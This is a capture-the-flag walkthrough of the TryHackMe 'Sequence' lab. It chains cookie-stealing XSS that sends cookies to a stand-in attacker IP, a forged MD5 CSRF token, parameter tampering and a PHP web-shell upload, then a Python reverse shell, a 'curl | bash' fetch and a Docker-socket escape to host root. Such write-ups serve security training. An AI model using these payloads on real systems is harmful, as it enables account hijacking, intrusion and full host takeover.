Sequence Walkthrough
Sequence Room Writeup – Step-by-Step Journey#
This writeup mirrors exactly what was done, showing each command, page interaction, and how the tester progressed from a visitor to root. Follow along to see how each flag was obtained.
Table of Contents#
- Setup & Initial Recon
- Phase 1 – XSS to Moderator
- Phase 2 – Moderator to Admin via CSRF
- Phase 3 – Access Finance Panel
- Phase 4 – File Upload & Shell
- Phase 5 – Container Escape & Root Flag
- Interactive Recap
1. Setup & Initial Recon#
You began by pointing your attack machine at the target:
echo "10.10.195.11 review.thm" | sudo tee -a /etc/hosts
Then you launched your HTTP server to host payloads:
cd ~/www
python3 -m http.server 80
You scanned all ports and services:
nmap -T4 -n -sC -sV -Pn -p- review.thm
Observed services:
22/tcp: SSH (OpenSSH 8.2p1)
80/tcp: HTTP (Apache 2.4.41)
Next, you fuzzed for hidden endpoints:
ffuf -u 'http://review.thm/FUZZ' \
-w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt \
-e .php -mc all -t 100 -fc 404 -ic
You discovered /mail/, /login.php, and /contact.php.
Visiting http://review.thm/mail/dump.txt revealed:
Finance panel: /finance.php (internal 192.x network)
Lottery panel: /lottery.php
Password: S60u}f5j
2. Phase 1 – XSS to Moderator#
2.1 Craft & Host XSS Payload#
Create test.js on your HTTP server:
cat > ~/www/test.js << 'EOF'
fetch("http://YOUR_IP/?c=" + document.cookie)
EOF
2.2 Inject Payload in Contact Form#
At http://review.thm/contact.php, submit the contact form with the following values:
- Name: attacker
- Email: [email protected]
- Message:
2.3 Capture & Use Moderator Session#
Your HTTP server logs will show the moderator’s cookie being exfiltrated, for example:
GET /?c=PHPSESSID=k73b004qihakut11s5lv4s32lc HTTP/1.1
Open your browser dev tools, replace your PHPSESSID cookie with this value, and refresh the site. You should land on the moderator view showing:
Flag#1: THM{xxxxxxxxxxxxxxxx}
and additional moderator-only menu items (e.g., Admin View, Settings, Chat).
3. Phase 2 – Moderator to Admin via CSRF#
3.1 Inspect CSRF Token#
On http://review.thm/settings.php, viewing the source showed a hidden promotion token:
<input type="hidden" name="csrf_token_promote" value="ad148a3ca8bd0ef3b48c52454c493ec5">
3.2 Decode Token Pattern#
Locally, you tested MD5 values:
echo -n 'mod' | md5sum
# ad148a3ca8bd0ef3b48c52454c493ec5
echo -n 'admin' | md5sum
# 21232f297a57a5a743894a0e4a801fc3
3.3 Send CSRF Promotion Link#
From the moderator Chat (/chat.php) you sent a link that would promote a user using the admin MD5 token:
http://review.thm/promote_coadmin.php?username=mod&csrf_token_promote=21232f297a57a5a743894a0e4a801fc3
3.4 Re-login as Mod#
You changed your password on the Settings page, logged out, then logged back in as mod using the new password. Your role escalated to admin and you saw:
Flag#2: THM{yyyyyyyyyyyyyyyy}
alongside admin menu options.
4. Phase 3 – Access Finance Panel#
4.1 Intercept Dashboard Request#
At http://review.thm/dashboard.php, you used your proxy/interceptor and clicked the Lottery feature. You modified the intercepted POST request:
feature=lottery.php → feature=finance.php
4.2 Authenticate#
When prompted for the finance panel password, enter:
S60u}f5j
This loads the internal finance panel which exposes a file upload form.
5. Phase 4 – File Upload & Shell#
5.1 Create & Upload Web Shell#
Locally craft a minimal PHP web shell:
cat > shell.php << 'EOF'
<?php system($_GET["cmd"]); ?>
EOF
Upload shell.php via the finance panel’s file upload.
5.2 Test Command Execution#
Visit the uploaded shell in your browser:
http://review.thm/uploads/shell.php?cmd=id
Expected output (in this case inside the container):
uid=0(root) gid=0(root) groups=0(root)
This confirms command execution as root inside the Docker container.
6. Phase 5 – Container Escape & Root Flag#
6.1 Launch Reverse Shell#
Place the following on your web server (e.g., ~/www/index.html) or run it from the shell to pull a reverse shell from the target:
python3 -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("YOUR_IP",443));
os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);
import pty;pty.spawn("sh")'
Start a listener on your machine:
nc -lvnp 443
Trigger the reverse shell via the web shell:
http://review.thm/uploads/shell.php?cmd=curl%20YOUR_IP%20|%20bash
Your listener should receive a shell as root inside the container.
6.2 Escape via Docker Socket#
Inside the container, confirm the presence of the Docker socket:
ls -la /var/run/docker.sock
Run a privileged container with the host filesystem mounted:
docker run -v /:/mnt --rm -it php:8.1-cli bash
6.3 Retrieve Host’s Root Flag#
Within the new container, list and read the flag:
ls -l /mnt/root/
cat /mnt/root/flag.txt
Output:
Flag#3: THM{zzzzzzzzzzzzzzzzzz}
Interactive Recap#
- Flag 1 (mod access):
THM{xxxxxxxxxxxxxxxx} - Flag 2 (admin access):
THM{yyyyyyyyyyyyyyyy} - Flag 3 (root access):
THM{zzzzzzzzzzzzzzzzzz}
Each phase built upon the last: exploiting XSS → hijacking a session, abusing static CSRF tokens → privilege escalation, leveraging insecure file uploads → code execution, and finally using a mounted Docker socket → container escape. This chain demonstrates the power of vulnerability chaining — don’t let medium or low issues slip through your defenses!
Notes & safe-practice reminders:
- Do not run arbitrary shells or payloads against systems you do not own or have explicit permission to test.
- Treat password and token values shown here as examples — real engagements will differ.
- Use secure coding practices, rotate CSRF tokens, and avoid mounting the Docker socket into untrusted containers.
Adapted from Jery0843/TryHackMe under MIT.